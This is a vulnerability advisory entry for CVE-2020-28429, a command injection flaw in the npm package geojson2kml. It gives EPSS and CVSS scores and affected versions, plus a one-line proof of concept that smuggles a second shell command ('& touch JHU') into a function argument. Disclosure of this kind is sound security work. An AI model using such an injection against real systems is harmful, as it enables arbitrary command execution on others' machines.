Vulnerability Details CVE-2020-28429
All versions of package geojson2kml are vulnerable to Command Injection via the index.js file. PoC: var a =require("geojson2kml"); a("./","& touch JHU",function(){})
Exploit prediction scoring system (EPSS) score
EPSS Score 0.754
EPSS Ranking 98.8%
CVSS Severity
CVSS v3 Score 7.3
CVSS v2 Score 7.5
References
Products affected by CVE-2020-28429
-
cpe:2.3:a:geojson2kml_project:geojson2kml:-
-
cpe:2.3:a:geojson2kml_project:geojson2kml:0.1.0
-
cpe:2.3:a:geojson2kml_project:geojson2kml:0.1.1